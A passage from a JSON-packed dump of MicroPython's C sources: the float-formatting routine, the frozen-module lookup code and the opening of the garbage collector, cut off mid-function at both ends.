as public domain as well.\n\n  The original code can be found in https://github.com/dhylands/format-float\n\n  Dave Hylands\n\n***********************************************************************/\n\n#if MICROPY_FLOAT_IMPL == MICROPY_FLOAT_IMPL_FLOAT\n// 1 sign bit, 8 exponent bits, and 23 mantissa bits.\n// exponent values 0 and 255 are reserved, exponent can be 1 to 254.\n// exponent is stored with a bias of 127.\n// The min and max floats are on the order of 1x10^37 and 1x10^-37\n\n#define FPTYPE float\n#define FPCONST(x) x##F\n#define FPROUND_TO_ONE 0.9999995F\n#define FPDECEXP 32\n#define FPMIN_BUF_SIZE 6 // +9e+99\n\n#define FLT_SIGN_MASK   0x80000000\n#define FLT_EXP_MASK    0x7F800000\n#define FLT_MAN_MASK    0x007FFFFF\n\nunion floatbits {\n    float f;\n    uint32_t u;\n};\nstatic inline int fp_signbit(float x) { union floatbits fb = {x}; return fb.u & FLT_SIGN_MASK; }\nstatic inline int fp_isspecial(float x) { union floatbits fb = {x}; return (fb.u & FLT_EXP_MASK) == FLT_EXP_MASK; }\nstatic inline int fp_isinf(float x) { union floatbits fb = {x}; return (fb.u & FLT_MAN_MASK) == 0; }\nstatic inline int fp_iszero(float x) { union floatbits fb = {x}; return fb.u == 0; }\nstatic inline int fp_isless1(float x) { union floatbits fb = {x}; return fb.u < 0x3f800000; }\n// Assumes both fp_isspecial() and fp_isinf() were applied before\n#define fp_isnan(x) 1\n\n#elif MICROPY_FLOAT_IMPL == MICROPY_FLOAT_IMPL_DOUBLE\n\n#define FPTYPE double\n#define FPCONST(x) x\n#define FPROUND_TO_ONE 0.999999999995\n#define FPDECEXP 256\n#define FPMIN_BUF_SIZE 7 // +9e+199\n#include <math.h>\n#define fp_signbit(x) signbit(x)\n#define fp_isspecial(x) 1\n#define fp_isnan(x) isnan(x)\n#define fp_isinf(x) isinf(x)\n#define fp_iszero(x) (x == 0)\n#define fp_isless1(x) (x < 1.0)\n\n#endif\n\nstatic const FPTYPE g_pos_pow[] = {\n    #if FPDECEXP > 32\n    1e256, 1e128, 1e64,\n    #endif\n    1e32, 1e16, 1e8, 1e4, 1e2, 1e1\n};\nstatic const FPTYPE g_neg_pow[] = {\n    #if FPDECEXP > 32\n    1e-256, 1e-128, 1e-64,\n    #endif\n    1e-32, 1e-16, 1e-8, 1e-4, 1e-2, 1e-1\n};\n\nint mp_format_float(FPTYPE f, char *buf, size_t buf_size, char fmt, int prec, char sign) {\n\n    char *s = buf;\n\n    if (buf_size <= FPMIN_BUF_SIZE) {\n        // FPMIN_BUF_SIZE is the minimum size needed to store any FP number.\n        // If the buffer does not have enough room for this (plus null terminator)\n        // then don't try to format the float.\n\n        if (buf_size >= 2) {\n            *s++ = '?';\n        }\n        if (buf_size >= 1) {\n            *s = '\\0';\n        }\n        return buf_size >= 2;\n    }\n    if (fp_signbit(f)) {\n        *s++ = '-';\n        f = -f;\n    } else {\n        if (sign) {\n            *s++ = sign;\n        }\n    }\n\n    // buf_remaining contains bytes available for digits and exponent.\n    // It is buf_size minus room for the sign and null byte.\n    int buf_remaining = buf_size - 1 - (s - buf);\n\n    if (fp_isspecial(f)) {\n        char uc = fmt & 0x20;\n        if (fp_isinf(f)) {\n            *s++ = 'I' ^ uc;\n            *s++ = 'N' ^ uc;\n            *s++ = 'F' ^ uc;\n            goto ret;\n        } else if (fp_isnan(f)) {\n            *s++ = 'N' ^ uc;\n            *s++ = 'A' ^ uc;\n            *s++ = 'N' ^ uc;\n        ret:\n            *s = '\\0';\n            return s - buf;\n        }\n    }\n\n    if (prec < 0) {\n        prec = 6;\n    }\n    char e_char = 'E' | (fmt & 0x20);   // e_char will match case of fmt\n    fmt |= 0x20; // Force fmt to be lowercase\n    char org_fmt = fmt;\n    if (fmt == 'g' && prec == 0) {\n        prec = 1;\n    }\n    int e, e1;\n    int dec = 0;\n    char e_sign = '\\0';\n    int num_digits = 0;\n    const FPTYPE *pos_pow = g_pos_pow;\n    const FPTYPE *neg_pow = g_neg_pow;\n\n    if (fp_iszero(f)) {\n        e = 0;\n        if (fmt == 'f') {\n            // Truncate precision to prevent buffer overflow\n            if (prec + 2 > buf_remaining) {\n                prec = buf_remaining - 2;\n            }\n            num_digits = prec + 1;\n        } else {\n            // Truncate precision to prevent buffer overflow\n            if (prec + 6 > buf_remaining) {\n                prec = buf_remaining - 6;\n            }\n            if (fmt == 'e') {\n                e_sign = '+';\n            }\n        }\n    } else if (fp_isless1(f)) {\n        // We need to figure out what an integer digit will be used\n        // in case 'f' is used (or we revert other format to it below).\n        // As we just tested number to be <1, this is obviously 0,\n        // but we can round it up to 1 below.\n        char first_dig = '0';\n        if (f >= FPROUND_TO_ONE) {\n            first_dig = '1';\n        }\n\n        // Build negative exponent\n        for (e = 0, e1 = FPDECEXP; e1; e1 >>= 1, pos_pow++, neg_pow++) {\n            if (*neg_pow > f) {\n                e += e1;\n                f *= *pos_pow;\n            }\n        }\n        char e_sign_char = '-';\n        if (fp_isless1(f) && f >= FPROUND_TO_ONE) {\n            f = FPCONST(1.0);\n            if (e == 0) {\n                e_sign_char = '+';\n            }\n        } else if (fp_isless1(f)) {\n            e++;\n            f *= FPCONST(10.0);\n        }\n\n        // If the user specified 'g' format, and e is <= 4, then we'll switch\n        // to the fixed format ('f')\n\n        if (fmt == 'f' || (fmt == 'g' && e <= 4)) {\n            fmt = 'f';\n            dec = -1;\n            *s++ = first_dig;\n\n            if (org_fmt == 'g') {\n                prec += (e - 1);\n            }\n\n            // truncate precision to prevent buffer overflow\n            if (prec + 2 > buf_remaining) {\n                prec = buf_remaining - 2;\n            }\n\n            num_digits = prec;\n            if (num_digits) {\n                *s++ = '.';\n                while (--e && num_digits) {\n                    *s++ = '0';\n                    num_digits--;\n                }\n            }\n        } else {\n            // For e & g formats, we'll be printing the exponent, so set the\n            // sign.\n            e_sign = e_sign_char;\n            dec = 0;\n\n            if (prec > (buf_remaining - FPMIN_BUF_SIZE)) {\n                prec = buf_remaining - FPMIN_BUF_SIZE;\n                if (fmt == 'g') {\n                    prec++;\n                }\n            }\n        }\n    } else {\n        // Build positive exponent\n        for (e = 0, e1 = FPDECEXP; e1; e1 >>= 1, pos_pow++, neg_pow++) {\n            if (*pos_pow <= f) {\n                e += e1;\n                f *= *neg_pow;\n            }\n        }\n\n        // It can be that f was right on the edge of an entry in pos_pow needs to be reduced\n        if (f >= FPCONST(10.0)) {\n            e += 1;\n            f *= FPCONST(0.1);\n        }\n\n        // If the user specified fixed format (fmt == 'f') and e makes the\n        // number too big to fit into the available buffer, then we'll\n        // switch to the 'e' format.\n\n        if (fmt == 'f') {\n            if (e >= buf_remaining) {\n                fmt = 'e';\n            } else if ((e + prec + 2) > buf_remaining) {\n                prec = buf_remaining - e - 2;\n                if (prec < 0) {\n                    // This means no decimal point, so we can add one back\n                    // for the decimal.\n                    prec++;\n                }\n            }\n        }\n        if (fmt == 'e' && prec > (buf_remaining - FPMIN_BUF_SIZE)) {\n            prec = buf_remaining - FPMIN_BUF_SIZE;\n        }\n        if (fmt == 'g'){\n            // Truncate precision to prevent buffer overflow\n            if (prec + (FPMIN_BUF_SIZE - 1) > buf_remaining) {\n                prec = buf_remaining - (FPMIN_BUF_SIZE - 1);\n            }\n        }\n        // If the user specified 'g' format, and e is < prec, then we'll switch\n        // to the fixed format.\n\n        if (fmt == 'g' && e < prec) {\n            fmt = 'f';\n            prec -= (e + 1);\n        }\n        if (fmt == 'f') {\n            dec = e;\n            num_digits = prec + e + 1;\n        } else {\n            e_sign = '+';\n        }\n    }\n    if (prec < 0) {\n        // This can happen when the prec is trimmed to prevent buffer overflow\n        prec = 0;\n    }\n\n    // We now have num.f as a floating point number between >= 1 and < 10\n    // (or equal to zero), and e contains the absolute value of the power of\n    // 10 exponent. and (dec + 1) == the number of dgits before the decimal.\n\n    // For e, prec is # digits after the decimal\n    // For f, prec is # digits after the decimal\n    // For g, prec is the max number of significant digits\n    //\n    // For e & g there will be a single digit before the decimal\n    // for f there will be e digits before the decimal\n\n    if (fmt == 'e') {\n        num_digits = prec + 1;\n    } else if (fmt == 'g') {\n        if (prec == 0) {\n            prec = 1;\n        }\n        num_digits = prec;\n    }\n\n    // Print the digits of the mantissa\n    for (int i = 0; i < num_digits; ++i, --dec) {\n        int32_t d = (int32_t)f;\n        *s++ = '0' + d;\n        if (dec == 0 && prec > 0) {\n            *s++ = '.';\n        }\n        f -= (FPTYPE)d;\n        f *= FPCONST(10.0);\n    }\n\n    // Round\n    // If we print non-exponential format (i.e. 'f'), but a digit we're going\n    // to round by (e) is too far away, then there's nothing to round.\n    if ((org_fmt != 'f' || e <= 1) && f >= FPCONST(5.0)) {\n        char *rs = s;\n        rs--;\n        while (1) {\n            if (*rs == '.') {\n                rs--;\n                continue;\n            }\n            if (*rs < '0' || *rs > '9') {\n                // + or -\n                rs++; // So we sit on the digit to the right of the sign\n                break;\n            }\n            if (*rs < '9') {\n                (*rs)++;\n                break;\n            }\n            *rs = '0';\n            if (rs == buf) {\n                break;\n            }\n            rs--;\n        }\n        if (*rs == '0') {\n            // We need to insert a 1\n            if (rs[1] == '.' && fmt != 'f') {\n                // We're going to round 9.99 to 10.00\n                // Move the decimal point\n                rs[0] = '.';\n                rs[1] = '0';\n                if (e_sign == '-') {\n                    e--;\n                    if (e == 0) {\n                        e_sign = '+';\n                    }\n                } else {\n                    e++;\n                }\n            } else {\n                // Need at extra digit at the end to make room for the leading '1'\n                s++;\n            }\n            char *ss = s;\n            while (ss > rs) {\n                *ss = ss[-1];\n                ss--;\n            }\n            *rs = '1';\n        }\n    }\n\n    // verify that we did not overrun the input buffer so far\n    assert((size_t)(s + 1 - buf) <= buf_size);\n\n    if (org_fmt == 'g' && prec > 0) {\n        // Remove trailing zeros and a trailing decimal point\n        while (s[-1] == '0') {\n            s--;\n        }\n        if (s[-1] == '.') {\n            s--;\n        }\n    }\n    // Append the exponent\n    if (e_sign) {\n        *s++ = e_char;\n        *s++ = e_sign;\n        if (FPMIN_BUF_SIZE == 7 && e >= 100) {\n            *s++ = '0' + (e / 100);\n        }\n        *s++ = '0' + ((e / 10) % 10);\n        *s++ = '0' + (e % 10);\n    }\n    *s = '\\0';\n\n    // verify that we did not overrun the input buffer\n    assert((size_t)(s + 1 - buf) <= buf_size);\n\n    return s - buf;\n}\n\n#endif // MICROPY_FLOAT_IMPL != MICROPY_FLOAT_IMPL_NONE\n"
  },
  {
    "path": "micropython/source/py/frozenmod.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2015 Paul Sokolovsky\n * Copyright (c) 2016 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <string.h>\n#include <stdint.h>\n\n#include \"py/lexer.h\"\n#include \"py/frozenmod.h\"\n\n#if MICROPY_MODULE_FROZEN_STR\n\n#ifndef MICROPY_MODULE_FROZEN_LEXER\n#define MICROPY_MODULE_FROZEN_LEXER mp_lexer_new_from_str_len\n#else\nmp_lexer_t *MICROPY_MODULE_FROZEN_LEXER(qstr src_name, const char *str, mp_uint_t len, mp_uint_t free_len);\n#endif\n\nextern const char mp_frozen_str_names[];\nextern const uint32_t mp_frozen_str_sizes[];\nextern const char mp_frozen_str_content[];\n\n// On input, *len contains size of name, on output - size of content\nconst char *mp_find_frozen_str(const char *str, size_t *len) {\n    const char *name = mp_frozen_str_names;\n\n    size_t offset = 0;\n    for (int i = 0; *name != 0; i++) {\n        size_t l = strlen(name);\n        if (l == *len && !memcmp(str, name, l)) {\n            *len = mp_frozen_str_sizes[i];\n            return mp_frozen_str_content + offset;\n        }\n        name += l + 1;\n        offset += mp_frozen_str_sizes[i] + 1;\n    }\n    return NULL;\n}\n\nSTATIC mp_lexer_t *mp_lexer_frozen_str(const char *str, size_t len) {\n    size_t name_len = len;\n    const char *content = mp_find_frozen_str(str, &len);\n\n    if (content == NULL) {\n        return NULL;\n    }\n\n    qstr source = qstr_from_strn(str, name_len);\n    mp_lexer_t *lex = MICROPY_MODULE_FROZEN_LEXER(source, content, len, 0);\n    return lex;\n}\n\n#endif\n\n#if MICROPY_MODULE_FROZEN_MPY\n\n#include \"py/emitglue.h\"\n\nextern const char mp_frozen_mpy_names[];\nextern const mp_raw_code_t *const mp_frozen_mpy_content[];\n\nSTATIC const mp_raw_code_t *mp_find_frozen_mpy(const char *str, size_t len) {\n    const char *name = mp_frozen_mpy_names;\n    for (size_t i = 0; *name != 0; i++) {\n        size_t l = strlen(name);\n        if (l == len && !memcmp(str, name, l)) {\n            return mp_frozen_mpy_content[i];\n        }\n        name += l + 1;\n    }\n    return NULL;\n}\n\n#endif\n\n#if MICROPY_MODULE_FROZEN\n\nSTATIC mp_import_stat_t mp_frozen_stat_helper(const char *name, const char *str) {\n    size_t len = strlen(str);\n\n    for (int i = 0; *name != 0; i++) {\n        size_t l = strlen(name);\n        if (l >= len && !memcmp(str, name, len)) {\n            if (name[len] == 0) {\n                return MP_IMPORT_STAT_FILE;\n            } else if (name[len] == '/') {\n                return MP_IMPORT_STAT_DIR;\n            }\n        }\n        name += l + 1;\n    }\n    return MP_IMPORT_STAT_NO_EXIST;\n}\n\nmp_import_stat_t mp_frozen_stat(const char *str) {\n    mp_import_stat_t stat;\n\n    #if MICROPY_MODULE_FROZEN_STR\n    stat = mp_frozen_stat_helper(mp_frozen_str_names, str);\n    if (stat != MP_IMPORT_STAT_NO_EXIST) {\n        return stat;\n    }\n    #endif\n\n    #if MICROPY_MODULE_FROZEN_MPY\n    stat = mp_frozen_stat_helper(mp_frozen_mpy_names, str);\n    if (stat != MP_IMPORT_STAT_NO_EXIST) {\n        return stat;\n    }\n    #endif\n\n    return MP_IMPORT_STAT_NO_EXIST;\n}\n\nint mp_find_frozen_module(const char *str, size_t len, void **data) {\n    #if MICROPY_MODULE_FROZEN_STR\n    mp_lexer_t *lex = mp_lexer_frozen_str(str, len);\n    if (lex != NULL) {\n        *data = lex;\n        return MP_FROZEN_STR;\n    }\n    #endif\n    #if MICROPY_MODULE_FROZEN_MPY\n    const mp_raw_code_t *rc = mp_find_frozen_mpy(str, len);\n    if (rc != NULL) {\n        *data = (void*)rc;\n        return MP_FROZEN_MPY;\n    }\n    #endif\n    return MP_FROZEN_NONE;\n}\n\n#endif\n"
  },
  {
    "path": "micropython/source/py/gc.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <assert.h>\n#include <stdio.h>\n#include <string.h>\n\n#include \"py/mpstate.h\"\n#include \"py/gc.h\"\n#include \"py/obj.h\"\n#include \"py/runtime.h\"\n\n#if MICROPY_ENABLE_GC\n\n#if MICROPY_DEBUG_VERBOSE // print debugging info\n#define DEBUG_PRINT (1)\n#define DEBUG_printf DEBUG_printf\n#else // don't print debugging info\n#define DEBUG_PRINT (0)\n#define DEBUG_printf(...) (void)0\n#endif\n\n// make this 1 to dump the heap each time it changes\n#define EXTENSIVE_HEAP_PROFILING (0)\n\n#define WORDS_PER_BLOCK ((MICROPY_BYTES_PER_GC_BLOCK) / BYTES_PER_WORD)\n#define BYTES_PER_BLOCK (MICROPY_BYTES_PER_GC_BLOCK)\n\n// ATB = allocation table byte\n// 0b00 = FREE -- free block\n// 0b01 = HEAD -- head of a chain of blocks\n// 0b10 = TAIL -- in the tail of a chain of blocks\n// 0b11 = MARK -- marked head block\n\n#define AT_FREE (0)\n#define AT_HEAD (1)\n#define AT_TAIL (2)\n#define AT_MARK (3)\n\n#define BLOCKS_PER_ATB (4)\n#define ATB_MASK_0 (0x03)\n#define ATB_MASK_1 (0x0c)\n#define ATB_MASK_2 (0x30)\n#define ATB_MASK_3 (0xc0)\n\n#define ATB_0_IS_FREE(a) (((a) & ATB_MASK_0) == 0)\n#define ATB_1_IS_FREE(a) (((a) & ATB_MASK_1) == 0)\n#define ATB_2_IS_FREE(a) (((a) & ATB_MASK_2) == 0)\n#define ATB_3_IS_FREE(a) (((a) & ATB_MASK_3) == 0)\n\n#define BLOCK_SHIFT(block) (2 * ((block) & (BLOCKS_PER_ATB - 1)))\n#define ATB_GET_KIND(block) ((MP_STATE_MEM(gc_alloc_table_start)[(block) / BLOCKS_PER_ATB] >> BLOCK_SHIFT(block)) & 3)\n#define ATB_ANY_TO_FREE(block) do { MP_STATE_MEM(gc_alloc_table_start)[(block) / BLOCKS_PER_ATB] &= (~(AT_MARK << BLOCK_SHIFT(block))); } while (0)\n#define ATB_FREE_TO_HEAD(block) do { MP_STATE_MEM(gc_alloc_table_start)[(block) / BLOCKS_PER_ATB] |= (AT_HEAD << BLOCK_SHIFT(block)); } while (0)\n#define ATB_FREE_TO_TAIL(block) do { MP_STATE_MEM(gc_alloc_table_start)[(block) / BLOCKS_PER_ATB] |= (AT_TAIL << BLOCK_SHIFT(block)); } while (0)\n#define ATB_HEAD_TO_MARK(block) do { MP_STATE_MEM(gc_alloc_table_start)[(block) / BLOCKS_PER_ATB] |= (AT_MARK << BLOCK_SHIFT(block)); } while (0)\n#define ATB_MARK_TO_HEAD(block) do { MP_STATE_MEM(gc_alloc_table_start)[(block) / BLOCKS_PER_ATB] &= (~(AT_TAIL << BLOCK_SHIFT(block))); } while (0)\n\n#define BLOCK_FROM_PTR(ptr) (((byte*)(ptr) - MP_STATE_MEM(gc_pool_start)) / BYTES_PER_BLOCK)\n#define PTR_FROM_BLOCK(block) (((block) * BYTES_PER_BLOCK + (uintptr_t)MP_STATE_MEM(gc_pool_start)))\n#define ATB_FROM_BLOCK(bl) ((bl) / BLOCKS_PER_ATB)\n\n#if MICROPY_ENABLE_FINALISER\n// FTB = finaliser table byte\n// if set, then the corresponding block may have a finaliser\n\n#define BLOCKS_PER_FTB (8)\n\n#define FTB_GET(block) ((MP_STATE_MEM(gc_finaliser_table_start)[(block) / BLOCKS_PER_FTB] >> ((block) & 7)) & 1)\n#define FTB_SET(block) do { MP_STATE_MEM(gc_finaliser_table_start)[(block) / BLOCKS_PER_FTB] |= (1 << ((block) & 7)); } while (0)\n#define FTB_CLEAR(block) do { MP_STATE_MEM(gc_finaliser_table_start)[(block) / BLOCKS_PER_FTB] &= (~(1 << ((block) & 7))); } while (0)\n#endif\n\n#if MICROPY_PY_THREAD && !MICROPY_PY_THREAD_GIL\n#define GC_ENTER() mp_thread_mutex_lock(&MP_STATE_MEM(gc_mutex), 1)\n#define GC_EXIT() mp_thread_mutex_unlock(&MP_STATE_MEM(gc_mutex))\n#else\n#define GC_ENTER()\n#define GC_EXIT()\n#endif\n\n// TODO waste less memory; currently requires that all entries in alloc_table have a corresponding block in pool\nvoid gc_init(void *start, void *end) {\n    // align end pointer on block boundary\n    end = (void*)((uintptr_t)end & (~(BYTES_PER_BLOCK - 1)));\n    DEBUG_printf(\"Initializing GC heap: %p..%p = \" UINT_FMT \" bytes\\n\", start, end, (byte*)end - (byte*)start);\n\n    // calculate parameters for GC (T=total, A=alloc table, F=finaliser table, P=pool; all in bytes):\n    // T = A + F + P\n    //     F = A * BLOCKS_PER_ATB / BLOCKS_PER_FTB\n    //     P = A * BLOCKS_PER_ATB * BYTES_PER_BLOCK\n    // => T = A * (1 + BLOCKS_PER_ATB / BLOCKS_PER_FTB + BLOCKS_PER_ATB * BYTES_PER_BLOCK)\n    size_t total_byte_len = (byte*)end - (byte*)start;\n#if MICROPY_ENABLE_FINALISER\n    MP_STATE_MEM(gc_alloc_table_byte_len) = total_byte_len * BITS_PER_BYTE / (BITS_PER_BYTE + BITS_PER_BYTE * BLOCKS_PER_ATB / BLOCKS_PER_FTB + BITS_PER_BYTE * BLOCKS_PER_ATB * BYTES_PER_BLOCK);\n#else\n    MP_STATE_MEM(gc_alloc_table_byte_len) = total_byte_len / (1 + BITS_PER_BYTE / 2 * BYTES_PER_BLOCK);\n#endif\n\n    MP_STATE_MEM(gc_alloc_table_start) = (byte*)start;\n\n#if MICROPY_ENABLE_FINALISER\n    size_t gc_finaliser_table_byte_len = (MP_STATE_MEM(gc_alloc_table_byte_len) * BLOCKS_PER_ATB + BLOCKS_PER_FTB - 1) / BLOCKS_PER_FTB;\n    MP_STATE_MEM(gc_finaliser_table_start) = MP_STATE_MEM(gc_alloc_table_start) + MP_STATE_MEM(gc_alloc_table_byte_len);\n#endif\n\n    size_t gc_pool_block_len = MP_STATE_MEM(gc_alloc_table_byte_len) * BLOCKS_PER_ATB;\n    MP_STATE_MEM(gc_pool_start) = (byte*)end - gc_pool_block_len * BYTES_PER_BLOCK;\n    MP_STATE_MEM(gc_pool_end) = end;\n\n#if MICROPY_ENABLE_FINALISER\n    assert(MP_STATE_MEM(gc_pool_start) >= MP_STATE_MEM(gc_finaliser_table_start) + gc_finaliser_table_byte_len);\n#endif\n\n    // clear ATBs\n    memset(MP_STATE_MEM(gc_alloc_table_start), 0, MP_STATE_MEM(gc_alloc_table_byte_len));\n\n#if MICROPY_ENABLE_FINALISER\n    // clear FTBs\n    memset(MP_STATE_MEM(gc_finaliser_table_start), 0, gc_finaliser_table_byte_len);\n#endif\n\n    // set last free ATB index to start of heap\n    MP_STATE_MEM(gc_last_free_atb_index) = 0;\n\n    // unlock the GC\n    MP_STATE_MEM(gc_lock_depth) = 0;\n\n    // allow auto collection\n    MP_STATE_MEM(gc_auto_collect_enabled) = 1;\n\n    #if MICROPY_GC_ALLOC_THRESHOLD\n    // by default, maxuint for gc threshold, effectively turning gc-by-threshold off\n    MP_STATE_MEM(gc_alloc_threshold) = (size_t)-1;\n    MP_STATE_MEM(gc_alloc_amount) = 0;\n    #endif\n\n    #if MICROPY_PY_THREAD\n    mp_thread_mutex_init(&MP_STATE_MEM(gc_mutex));\n    #endif\n\n    DEBUG_printf(\"GC layout:\\n\");\n    DEBUG_printf(\"  alloc table at %p, length \" UINT_FMT \" bytes, \" UINT_FMT \" blocks\\n\", MP_STATE_MEM(gc_alloc_table_start), MP_STATE_MEM(gc_alloc_table_byte_len), MP_STATE_MEM(gc_alloc_table_byte_len) * BLOCKS_PER_ATB);\n#if MICROPY_ENABLE_FINALISER\n    DEBUG_printf(\"  finaliser table at %p, length \" UINT_FMT \" bytes, \" UINT_FMT \" blocks\\n\", MP_STATE_MEM(gc_finaliser_table_start), gc_finaliser_table_byte_len, gc_finaliser_table_byte_len * BLOCKS_PER_FTB);\n#endif\n    DEBUG_printf(\"  pool at %p, length \" UINT_FMT \" bytes, \" UINT_FMT \" blocks\\n\", MP_STATE_MEM(gc_pool_start), gc_pool_block_len * BYTES_PER_BLOCK, gc_pool_block_len);\n}\n\nvoid gc_lock(void) {\n    GC_ENTER();\n    MP_STATE_MEM(gc_lock_depth)++;\n    GC_EXIT();\n}\n\nvoid gc_unlock(void) {\n    GC_ENTER();\n    MP_STATE_MEM(gc_lock_depth)--;\n    GC_EXIT();\n}\n\nbool gc_is_locked(void) {\n    return MP_STATE_MEM(gc_lock_depth) != 0;\n}\n\n// ptr should be of type void*\n#define VERIFY_PTR(ptr) ( \\\n        ((uintptr_t)(ptr) & (BYTES_PER_BLOCK - 1)) == 0      /* must be aligned on a block */ \\\n        && ptr >= (void*)MP_STATE_MEM(gc_pool_start)     /* must be above start of pool */ \\\n        && ptr < (void*)MP_STATE_MEM(gc_pool_end)        /* must be below end of pool */ \\\n    )\n\n// ptr should be of type void*\n#define VERIFY_MARK_AND_PUSH(ptr) \\\n    do { \\\n        if (VERIFY_PTR(ptr)) { \\\n            size_t _block = BLOCK_FROM_PTR(ptr); \\\n            if (ATB_GET_KIND(_block) == AT_HEAD) { \\\n                /* an unmarked head, mark it, and push it on gc stack */ \\\n                DEBUG_printf(\"gc_mark(%p)\\n\", ptr); \\\n                ATB_HEAD_TO_MARK(_block); \\\n                if (MP_STATE_MEM(gc_sp) < &MP_STATE_MEM(gc_stack)[MICROPY_ALLOC_GC_STACK_SIZE]) { \\\n                    *MP_STATE_MEM(gc_sp)++ = _block; \\\n                } else { \\\n                    MP_STATE_MEM(gc_stack_overflow) = 1; \\\n                } \\\n            } \\\n        } \\\n    } while (0)\n\nSTATIC void gc_drain_stack(void) {\n    while (MP_STATE_MEM(gc_sp) > MP_STATE_MEM(gc_stack)) {\n        // pop the next block off the stack\n        size_t block = *--MP_STATE_MEM(gc_sp);\n\n        // work out number of consecutive blocks in the chain starting with this one\n        size_t n_blocks = 0;\n        do {\n            n_blocks += 1;\n        } while (ATB_GET_KIND(block + n_blocks) == AT_TAIL);\n\n        // check this block's children\n        void **ptrs = (void**)PTR_FROM_BLOCK(block);\n        for (size_t i = n_blocks * BYTES_PER_BLOCK / sizeof(void*); i > 0; i--, ptrs++) {\n            void *ptr = *ptrs;\n            VERIFY_MARK_AND_PUSH(ptr);\n        }\n    }\n}\n\nSTATIC void gc_deal_with_stack_overflow(void) {\n    while (MP_STATE_MEM(gc_stack_overflow)) {\n        MP_STATE_MEM(gc_stack_overflow) = 0;\n        MP_STATE_MEM(gc_sp) = MP_STATE_MEM(gc_stack);\n\n        // scan entire memory looking for blocks which have been marked but not their children\n        for (size_t block = 0; block < MP_STATE_MEM(gc_alloc_table_byte_len) * BLOCKS_PER_ATB; block++) {\n            // trace (again) if mark bit set\n            if (ATB_GET_KIND(block) == AT_MARK) {\n                *MP_STATE_MEM(gc_sp)++ = block;\n                gc_drain_stack();\n            }\n        }\n    }\n}\n\nSTATIC void gc_sweep(void) {\n    #if MICROPY_PY_GC_COLLECT_RETVAL\n    MP_STATE_MEM(gc_collected) = 0;\n    #endif\n    // free unmarked heads and their tails\n    int free_tail = 0;\n    for (size_t block = 0; block < MP_STATE_MEM(gc_alloc_table_byte_len) * BLOCKS_PER_ATB; block++) {\n        switch (ATB_GET_KIND(block)) {\n            case AT_HEAD:\n#if MICROPY_ENABLE_FINALISER\n                if (FTB_GET(block)) {\n                    mp_obj_base_t *obj = (mp_obj_base_t*)PTR_FROM_BLOCK(block);\n                    if (obj->type != NULL) {\n                        // if the object has a type then see if it has a __del__ method\n                        mp_obj_t dest[2];\n                        mp_load_method_maybe(MP_OBJ_FROM_PTR(obj), MP_QSTR___del__, dest);\n                        if (dest[0] != MP_OBJ_NULL) {\n                            // load_method returned a method, execute it in a protected environment\n                            #if MICROPY_ENABLE_SCHEDULER\n                            mp_sched_lock();\n                            #endif\n                            mp_call_function_1_protected(dest[0], dest[1]);\n                            #if MICROPY_ENABLE_SCHEDULER\n                            mp_sched_unlock();\n                            #endif\n                        }\n                    }\n                    // clear finaliser flag\n                    FTB_CLEAR(block);\n                }\n#endif\n                free_tail = 1;\n                DEBUG_printf(\"gc_sweep(%x)\\n\", PTR_FROM_BLOCK(block));\n                #if MICROPY_PY_GC_COLLECT_RETVAL\n                MP_STATE_MEM(gc_collected)++;\n                #endif\n                // fall through to free the head\n\n            case AT_TAIL:\n                if (free_tail) {\n                    ATB_ANY_TO_FREE(block);\n                }\n                break;\n\n            case AT_MARK:\n                ATB_MARK_TO_HEAD(block);\n                free_tail = 0;\n                break;\n        }\n    }\n}\n\nvoid gc_collect_start(void) {\n    GC_ENTER();\n    MP_STATE_MEM(gc_lock_depth)++;\n    #if MICROPY_GC_ALLOC_THRESHOLD\n    MP_STATE_MEM(gc_alloc_amount) = 0;\n    #endif\n    MP_STATE_MEM(gc_stack_overflow) = 0;\n    MP_STATE_MEM(gc_sp) = MP_STATE_MEM(gc_stack);\n    // Trace root pointers.  This relies on the root pointers being organised\n    // correctly in the mp_state_ctx structure.  We scan nlr_top, dict_locals,\n    // dict_globals, then the root pointer section of mp_state_vm.\n    void **ptrs = (void**)(void*)&mp_state_ctx;\n    gc_collect_root(ptrs, offsetof(mp_state_ctx_t, vm.qstr_last_chunk) / sizeof(void*));\n}\n\nvoid gc_collect_root(void **ptrs, 